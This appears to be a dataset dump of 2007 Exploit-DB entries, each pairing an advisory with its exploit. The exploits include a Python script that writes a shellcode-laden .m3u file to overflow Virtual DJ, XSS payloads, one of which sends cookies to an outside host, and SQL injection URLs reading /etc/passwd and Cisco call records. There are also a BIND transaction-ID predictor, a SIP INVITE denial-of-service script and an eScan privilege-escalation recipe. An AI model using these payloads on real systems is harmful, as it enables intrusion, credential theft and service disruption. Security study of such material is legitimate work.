QLWD/code_shield huggingface dataset:
标题: Toms Gastebuch 1.00/1.01 - 'header.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30570 CVE: 2007-4896 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/25598/info

Toms Gastebuch is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues are related to the vulnerabilities discussed in BID 25507 (Toms GÃ¤stebuch Multiple Cross-Site Scripting Vulnerabilities) and may be a result of an incomplete fix for those issues. 

http://www.example.com//admin/header.php?lang[adminseite]=XSS&lang[ueberschrift]=XSS&einst[metachar]=XSS URL: https://www.exploit-db.com/exploits/30570
标题: AkkyWareHOUSE '7-zip32.dll' 4.42 - Heap Buffer Overflow EDB-ID: 30565 CVE: 2007-4725 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/25545/info


AkkyWareHOUSE 7-zip32.dll is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input.

Attackers may be able to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

Versions prior to 7-zip32.dll 4.42.00.04 are vulnerable. 

#Virtual DJ 5.0 Local Buffer OverFlow
#224 bytes available for shellcode,, you can replace it with you 
favourite one,, 
#ret addr -> 0x7199403D      jmp esp in mswsock.dll Winxp sp0
#exploit : [A x 484] +[EIP - jmp esp - 4] + [Nops -10] + [Shellcode 
-224] 
#Discovred by 0x58 && Coded By miyy3t,,Midt's lab !!
#Greetz : M.i.d.t,, Diablos5s5s,, Simo64 ,, s4mi,, issam ,, 
Metasploit,,Str0ke & All Mor0Ccan & Muslims h4xorz
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub 
http://metasploit.com

shellcode = 
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84"
shellcode+= 
"\xd1\xfe\xd8\x83\xeb\xfc\xe2\xf4\x78\x39\xba\xd8\x84\xd1\x75\x9d"
shellcode+= 
"\xb8\x5a\x82\xdd\xfc\xd0\x11\x53\xcb\xc9\x75\x87\xa4\xd0\x15\x91"
shellcode+= 
"\x0f\xe5\x75\xd9\x6a\xe0\x3e\x41\x28\x55\x3e\xac\x83\x10\x34\xd5"
shellcode+= 
"\x85\x13\x15\x2c\xbf\x85\xda\xdc\xf1\x34\x75\x87\xa0\xd0\x15\xbe"
shellcode+= 
"\x0f\xdd\xb5\x53\xdb\xcd\xff\x33\x0f\xcd\x75\xd9\x6f\x58\xa2\xfc"
shellcode+= 
"\x80\x12\xcf\x18\xe0\x5a\xbe\xe8\x01\x11\x86\xd4\x0f\x91\xf2\x53"
shellcode+= 
"\xf4\xcd\x53\x53\xec\xd9\x15\xd1\x0f\x51\x4e\xd8\x84\xd1\x75\xb0"
shellcode+= 
"\xb8\x8e\xcf\x2e\xe4\x87\x77\x20\x07\x11\x85\x88\xec\x21\x74\xdc"
shellcode+= 
"\xdb\xb9\x66\x26\x0e\xdf\xa9\x27\x63\xb2\x9f\xb4\xe7\xff\x9b\xa0"
shellcode+= "\xe1\xd1\xfe\xd8"

bof = "A"*484+"\x3D\x40\x99\x71"+"\x90"*10+shellcode

file = open('c:\/xploit.m3u','w+')
file.write("#EXTM3U\n");
file.write("#EXTINF:0,TITLE\n")
file.write("C:/")
file.write(bof)
file.close()

print "Exploit generated in c:\/xploit.m3u ...now open it with virtual 
dj !! " URL: https://www.exploit-db.com/exploits/30565
标题: Microsoft Agent - 'agentdpv.dll' ActiveX Control Malformed URL Stack Buffer Overflow EDB-ID: 30567 CVE: 2007-3040 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/25566/info

Microsoft Agent (agentsvr.exe) is prone to a stack-based buffer-overflow vulnerability because the application fails to adequately bounds-check user-supplied data.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the currently logged-in user. Failed exploit attempts will likely result in denial-of-service conditions. 

<script language="javascript">
function document::OnClick() {
        var agent, character, url;
        agent = new ActiveXObject("Agent.Control.2");
        agent.connected = true;
        agent.Characters.Load("Genie", "http:///");
        character = agent.Characters.Character("Genie");
        character.Show();
        character.Think ("brazil owns!");
        character.Speak('brazil owns!');
        character.Play('Processing');
}
</script> URL: https://www.exploit-db.com/exploits/30567
标题: 212Cafe WebBoard 6.30 - 'Read.php' SQL Injection EDB-ID: 30560 CVE: 2007-4719 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/25526/info

212cafe Webboard is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Webboard 6.30 is vulnerable; other versions may also be affected.

http://www.example.com/Board/read.php?id=[SQL] URL: https://www.exploit-db.com/exploits/30560
标题: Apache Tomcat 5.5.15 - cal2.jsp Cross-Site Scripting EDB-ID: 30563 CVE: 2006-7196 类型: WEBAPPS 平台: JSP 发布日期: 2007-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/25531/info

Apache Tomcat is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Apache Tomcat 4.1.31; other versions may also be affected. 

http://www.example.com/examples/jsp/cal/cal2.jsp?time=8am%3cscript%3ealert("XSS!")%3c%2fscript%3e URL: https://www.exploit-db.com/exploits/30563
标题: Claroline 1.x - '/admin/advancedUserSearch.php?action' Cross-Site Scripting EDB-ID: 30558 CVE: 2007-4717 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/25521/info
  
Claroline is prone to a local file-include vulnerability and multiple cross-site scripting vulnerabilities.
  
An attacker could exploit these issues to execute local script code in the context of the application and access sensitive data, which may aid in further attacks.The attacker may also be able to execute arbitray code in the context of the webserver. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Versions prior to Claroline 1.8.6 are vulnerable. 

http://www.example.com/admin/advancedUserSearch.php?action=[XSS] URL: https://www.exploit-db.com/exploits/30558
标题: E-Smart Cart 1.0 - 'login.asp' SQL Injection EDB-ID: 30564 CVE: 2007-4762 类型: WEBAPPS 平台: ASP 发布日期: 2007-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/25532/info

E-Smart Cart is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

The following proof of concept is available:

user: 'or''='
pass: 'or''=' URL: https://www.exploit-db.com/exploits/30564
标题: Toms Gästebuch 1.00 - '/admin/header.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30554 CVE: 2007-4711 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/25507/info
 
Toms GÃ¤stebuch is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Toms GÃ¤stebuch versions prior to 1.01 are vulnerable. 

http://www.example.com/admin/header.php?language=[XSS]&anzeigebreite=[XSS] URL: https://www.exploit-db.com/exploits/30554
标题: Microworld eScan (Multiple Products) - Local Privilege Escalation EDB-ID: 30546 CVE: 2007-4649 类型: LOCAL 平台: WINDOWS 发布日期: 2007-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/25493/info

Multiple MicroWorld eScan products are vulnerable to a local privilege-escalation vulnerability because of insecure default file permissions.

Attackers can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful attacks will completely compromise affected computers.

The following are vulnerable:

eScan Internet Security 9.0.722.1
eScan Virus Control 9.0.722.1
eScan AntiVirus 9.0.722.1

UPDATE (September 4, 2008): The following additional products have been reported as vulnerable:

eScan Corporate 9.0.x
eScan Professional 9.0.x
eScan Workstation Server 9.0.x
eScan Web and Mail Filter 9.0.x
MailScan for Mail-Server 5.6a
MailScan for SMTP Server 5.6a
X-Spam for SMTP Servers 5.6a

Other versions and software packages may also be affected. 

- logon as LUA user
- rename traysser.exe to traysser.exe.BAK
- copy program.exe to eScan installation directory
- rename program.exe to traysser.exe
- restart the computer
- "rootshell" ;)

NOTE: traysser.exe is eScan Server Updater Service that
runs as NT AUTHORITY\SYSTEM. URL: https://www.exploit-db.com/exploits/30546
标题: Absolute Poll Manager XE 4.1 - 'xlaapmview.asp' Cross-Site Scripting EDB-ID: 30545 CVE: 2007-4630 类型: WEBAPPS 平台: ASP 发布日期: 2007-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/25492/info

Absolute Poll Manager XE is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Absolute Poll Manager XE 4.1; other versions may also be vulnerable. 

http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>alert("running+code+within+the+context+of+"%2bdocument.domain)</script> http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>location="http://www.example2.com/?"%2bdocument.cookie</script> http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=%3cscript%3elocation=%22http%3a//www.%65xample%2ecom/?%22%2bdocument.cookie%3c/script%3e& URL: https://www.exploit-db.com/exploits/30545
标题: Claroline 1.x - '/admin/campusProblem.php?view' Cross-Site Scripting EDB-ID: 30559 CVE: 2007-4717 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/25521/info
   
Claroline is prone to a local file-include vulnerability and multiple cross-site scripting vulnerabilities.
   
An attacker could exploit these issues to execute local script code in the context of the application and access sensitive data, which may aid in further attacks.The attacker may also be able to execute arbitray code in the context of the webserver. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
Versions prior to Claroline 1.8.6 are vulnerable. 

http://www.example.com/admin/campusProblem.php?view=[XSS] URL: https://www.exploit-db.com/exploits/30559
标题: Claroline 1.x - '/admin/adminusers.php?dir' Cross-Site Scripting EDB-ID: 30557 CVE: 2007-4717 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/25521/info
 
Claroline is prone to a local file-include vulnerability and multiple cross-site scripting vulnerabilities.
 
An attacker could exploit these issues to execute local script code in the context of the application and access sensitive data, which may aid in further attacks.The attacker may also be able to execute arbitray code in the context of the webserver. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to Claroline 1.8.6 are vulnerable. 

http://www.example.com/admin/adminusers.php?dir=[XSS]
http://www.example.com/admin/adminusers.php?sort=[XSS] URL: https://www.exploit-db.com/exploits/30557
标题: Claroline 1.x - '/inc/lib/language.lib.php?language' Traversal Local File Inclusion EDB-ID: 30556 CVE: 2007-4718 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/25521/info

Claroline is prone to a local file-include vulnerability and multiple cross-site scripting vulnerabilities.

An attacker could exploit these issues to execute local script code in the context of the application and access sensitive data, which may aid in further attacks.The attacker may also be able to execute arbitray code in the context of the webserver. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Claroline 1.8.6 are vulnerable. 

http://www.example.com/inc/lib/languages.lib.php?language=../../[file] URL: https://www.exploit-db.com/exploits/30556
标题: Toms Gästebuch 1.00 - 'form.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30553 CVE: 2007-4711 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/25507/info

Toms GÃ¤stebuch is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Toms GÃ¤stebuch versions prior to 1.01 are vulnerable. 

http://www.example.com/form.php?action=show&homepage=[XSS]&mail=[XSS]&name=[XSS] URL: https://www.exploit-db.com/exploits/30553
标题: Microsoft MSN Messenger 8.0 - Video Conversation Buffer Overflow EDB-ID: 30537 CVE: 2007-2931 类型: REMOTE 平台: WINDOWS 发布日期: 2007-08-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/25461/info

Microsoft MSN Messenger is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will likely result in denial-of-service conditions.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30537.rar URL: https://www.exploit-db.com/exploits/30537
标题: Dale Mooney Calendar Events - 'Viewevent.php' SQL Injection EDB-ID: 30533 CVE: 2007-4611 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/25456/info

Calendar Events is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/viewevent.php?id=-1' union select 1,load_file('/etc/passwd'),1,1/* URL: https://www.exploit-db.com/exploits/30533
标题: Cisco CallManager 4.2 / CUCM 4.2 - Logon Page 'lang' SQL Injection EDB-ID: 30541 CVE: 2007-4634 类型: WEBAPPS 平台: ASP 发布日期: 2007-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/25480/info

Cisco Unified CallManager and Unified Communications Manager are prone to multiple input-validation vulnerabilities because the applications fail to properly sanitize user-supplied input. These issues include a cross-site scripting vulnerability and an SQL-injection vulnerability.

A successful exploit may allow an attacker to steal cookie-based authentication credentials, execute malicious script code in a user's browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following proof-of-concept URIs are available for the SQL-injection vulnerability:

To display the logged-in database user:

https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+CURRENT_USER;select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='

To display the selected database:

https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+db_name();select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='

To display the UNIX time when a call was made from extension 12345:

https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+top+1+convert(char(12),dateTimeOrigination)+from+cdr..CallDetailRecord+where+finalCalledPartyNumber+%3C%3E+''+and+callingPartyNumber='12345';select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='

To display the destination number for that call. Replace "1174900000" with the value from the previous query:

https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+top+1+finalCalledPartyNumber+from+cdr..CallDetailRecord+where+callingPartyNumber='12345'+and+dateTimeOrigination=1174900000;select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''=' URL: https://www.exploit-db.com/exploits/30541
标题: Blizzard Entertainment StarCraft Brood War 1.15.1 - Minimap Preview Remote Denial of Service EDB-ID: 30540 CVE: 2007-4638 类型: DOS 平台: MULTIPLE 发布日期: 2007-08-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/25478/info

StarCraft Brood War is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects StarCraft Brood War 1.15.1; prior versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30540.scm URL: https://www.exploit-db.com/exploits/30540
标题: EnterpriseDB Advanced Server 8.2 - Uninitialized Pointer EDB-ID: 30542 CVE: 2007-4639 类型: DOS 平台: LINUX 发布日期: 2007-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/25481/info

EnterpriseDB Advanced Server is prone to an uninitialized-pointer vulnerability.

Authenticated attackers can exploit this issue to cause denial-of-service conditions. Given the nature of this vulnerability, remote code execution may also be possible, but this has not been confirmed.

EnterpriseDB Advanced Server 8.2 is vulnerable; other versions may also be affected.


1) Connect to one vulnerable EnterpriseDB as a low level user (the
execution privilege over the pldbg_* function is granted by default).
2) Execute the following query:

edb=> select pldbg_abort_target(1094861636); -- 0x41424344 in decimal

(gdb) where
#0  0x00ba81db in sendBytes ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#1  0x00ba82a1 in sendUInt32 ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#2  0x00ba82e3 in sendString ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#3  0x00ba8880 in pldbg_abort_target ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#4  0x0816669d in ExecMakeFunctionResult ()
#5  0x08168d51 in ExecProject ()
#6  0x0817544d in ExecResult ()
#7  0x08162f65 in ExecProcNode ()
#8  0x08161931 in ExecutorRun ()
#9  0x081fa2e3 in PortalRunSelect ()
#10 0x081fb12a in PortalRun ()
#11 0x081f5a8b in exec_simple_query ()
#12 0x081f76ec in PostgresMain ()
#13 0x081ca356 in ServerLoop ()
#14 0x081cb2b7 in PostmasterMain ()
#15 0x081865d7 in main ()
(gdb) x /i $pc
0xba81db <sendBytes+11>:        mov    (%eax),%eax
(gdb) i r
eax            0x41424344       1094861636
ecx            0x4      4
edx            0xbff46c04       -1074500604
ebx            0xbacbd8 12241880
esp            0xbff46bc0       0xbff46bc0
ebp            0xbff46be8       0xbff46be8
esi            0x4      4
edi            0xbab597 12236183
eip            0xba81db 0xba81db
eflags         0x10286  66182
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0

The complete database server (droping all active conections) crashes. URL: https://www.exploit-db.com/exploits/30542
标题: Doomsday Engine 1.8.6/1.9 - Multiple Remote Vulnerabilities EDB-ID: 30543 CVE: 2007-4642 类型: REMOTE 平台: LINUX 发布日期: 2007-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/25483/info

Doomsday Engine is prone to multiple remote vulnerabilities, including multiple buffer-overflow issues, a denial-of-service issue, a format-string issue, and an integer-overflow issue.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.

Doomsday Engine 1.90-beta5.1 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30543.zip URL: https://www.exploit-db.com/exploits/30543
标题: ACG News 1.0 - 'index.php' Multiple SQL Injections EDB-ID: 30539 CVE: 2007-4603 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/25466/info

ACG News is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in SQL queries.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect ACG News 1.0; other versions may also be vulnerable. 

http://www.example.com/index.php?menu=showarticle&aid=[SQL INJECTION]
http://www.example.com/index.php?menu=showarticle&aid=-3 UNION ALL SELECT 1,@@version,3,4,5,user(),7

http://www.example.com/index.php?menu=showcat&catid=[SQL INJECTION]
http://www.example.com/index.php?menu=showcat&catid=-3 UNION ALL SELECT 1,@@version URL: https://www.exploit-db.com/exploits/30539
标题: ISC BIND 8 - Remote Cache Poisoning (2) EDB-ID: 30536 CVE: 2007-2930 类型: REMOTE 平台: LINUX 发布日期: 2007-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/25459/info
 
BIND 8 is prone to a remote cache-poisoning vulnerability because of weaknesses in its random-number generator.
 
An attacker may leverage this issue to manipulate cache data, potentially facilitating man-in-the-middle, site-impersonation, or denial-of-service attacks.
 
Versions of BIND from 8.2.0 through to 8.4.7 are vulnerable to this issue.
 
$TRXID1=$ARGV[0];
$TRXID2=$ARGV[1];
$TRXID3=$ARGV[2];

$d1=($TRXID2-$TRXID1) % 65536;
if (($d1 & 1) == 0)
{
 die "Impossible: d1 is even";
}
 
$d2=($TRXID3-$TRXID2) % 65536;
if (($d2 & 1) == 0)
{
 die "Impossible: d2 is even";
}

# Calculate $inv_d1=($d1)^(-1)
$inv_d1=1;
for (my $b=1;$b<=16;$b++)
{
 if ((($d1*$inv_d1) % (1<<$b))!=1)
 {
  $inv_d1|=(1<<($b-1));
 }
}
   
my $a=($inv_d1 * $d2) % 65536;
my $z=($TRXID2-$a*$TRXID1) % 65536;
print "a=$a z=$z\n";

print "Next TRXID is ".(((($a*$TRXID3) % 65536)+$z) % 65536)."\n";
exit(0); URL: https://www.exploit-db.com/exploits/30536
标题: Thomson SpeedTouch ST 2030 (SIP Phone) - SIP Invite Message Remote Denial of Service EDB-ID: 30530 CVE: 2007-4553 类型: DOS 平台: HARDWARE 发布日期: 2007-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/25446/info

Thomson SpeedTouch 2030 is prone to a denial-of-service vulnerability because the device fails to handle specially crafted SIP INVITE messages.

Exploiting this issue allows remote attackers to cause the device to stop responding, thus denying service to legitimate users.

This issue affects Thomas SpeedTouch 2030 firmware 1.52.1; other versions may also be affected. 

!/usr/bin/perl

#Vulnerability for Thomson 2030 firmware v1.52.1

#It provokes a DoS in the device. 

 

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia:
SIP/2.0/UDP\\192.168.1.2;branch=00\r\nFrom: Caripe
<sip:caripe\@192.168.1.2>;tag=00\r\nTo:
<sip:$ARGV[2]\@$ARGV[0]>;tag=00\r\nCall-ID: caripe\@192.168.1.2\r\nCSeq: 2
INVITE\r\n\r\n";

$socket->send($msg); URL: https://www.exploit-db.com/exploits/30530